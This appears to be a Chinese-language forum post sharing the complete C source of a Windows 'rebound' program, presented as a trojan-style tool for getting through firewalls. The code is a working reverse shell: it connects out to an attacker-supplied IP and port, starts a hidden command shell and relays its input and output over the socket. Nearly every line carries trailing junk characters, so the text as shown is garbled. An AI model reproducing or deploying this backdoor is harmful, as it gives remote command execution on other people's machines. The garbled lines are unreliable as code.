这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M0yv=g
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/* ============================== =WT&unw}
Rebound port in Windows NT _AzI\8m
By wind,2006/7 1oe,>\\
===============================*/ zzK<>@c
#include )pSA|Qt N
#include JR8|!Of@B
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#pragma comment(lib,"wsock32.lib") 7r&lW<:>
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void OutputShell(); v*[UG^+)
SOCKET sClient; & .0A%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nrHC;R.nE
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void main(int argc,char **argv) s_ t/
{ HjIIhl?UY
WSADATA stWsaData; yDfH`]i)U
int nRet; "iTjiH)Q(
SOCKADDR_IN stSaiClient,stSaiServer; :s6aFiz
}4N'as/ZO
if(argc != 3) )X?oBNsj
{ 7HkFDI()1
printf("Useage:\n\rRebound DestIP DestPort\n"); r4pX47H
return; Qo)Da}uo20
} ynv{
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WSAStartup(MAKEWORD(2,2),&stWsaData); $33E-^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2TUV9Z
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stSaiClient.sin_family = AF_INET; G<M0KU(
stSaiClient.sin_port = htons(0); i,h 30J
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o2X95NiH
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0KnL{Cj
{ 2HtsSS#0Q
printf("Bind Socket Failed!\n"); jB8Q% {%
return; +@=V}IO
} \o}T0YX
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stSaiServer.sin_family = AF_INET; +!0K]$VZs
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }%p:Xv@X!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tBbOxM m0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Bhxs(NO
{ D3cJIVM
printf("Connect Error!"); Ux7LN@4og
return; uG^CyM>R`
} 7b+r LyS0
OutputShell(); *mzi ?3
} K_;vqi^1^&
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void OutputShell() 7Y9#y{v1
{ \= v.$u"c
char szBuff[1024]; ID43s9
SECURITY_ATTRIBUTES stSecurityAttributes; eJ99 W=
OSVERSIONINFO stOsversionInfo; *{3d+j/?/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (da`aRVDp
STARTUPINFO stStartupInfo; C<
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char *szShell; G9f6'5 O
PROCESS_INFORMATION stProcessInformation; zbmC?2$
unsigned long lBytesRead; C3}:DIn"w
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hI'WfF!X
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |Y>Jf~SN
stSecurityAttributes.lpSecurityDescriptor = 0; SLKplLO
stSecurityAttributes.bInheritHandle = TRUE; T&lgWOls
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); itg_+%^R
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rP:g`?*V
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ob\-OMNs@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D5,]E`jwu
stStartupInfo.wShowWindow = SW_HIDE; ,X.[37
stStartupInfo.hStdInput = hReadPipe; p?i.<Z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wXKtQ#o}
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GetVersionEx(&stOsversionInfo); X:oOp=y]|
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switch(stOsversionInfo.dwPlatformId) J!2Z9<q5
{ <E2 IU~e
case 1: 0
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szShell = "command.com"; w\)K0RN
break; {y9G
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default: lL}NiN-)t
szShell = "cmd.exe"; $*ff]>#
break; G-d7}Uz?
} aKDY_D
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {DRk{>K,
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send(sClient,szMsg,77,0); tF:AnNp=
while(1) .nPOjwEx&Y
{ <Ht"t]u*Bn
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BU:;;iV8
if(lBytesRead) dua F?\vv
{ ~CNB3r5R
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cnu&!>8V
send(sClient,szBuff,lBytesRead,0); C%z)D1-
} y
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else !"N,w9MbD
{ hY`<J]-'`
lBytesRead=recv(sClient,szBuff,1024,0); @IL04' \
if(lBytesRead<=0) break; TxJk.c
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Xq? >a+B
} 1SExlU
} !D=!
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return; Uu_qy(4
}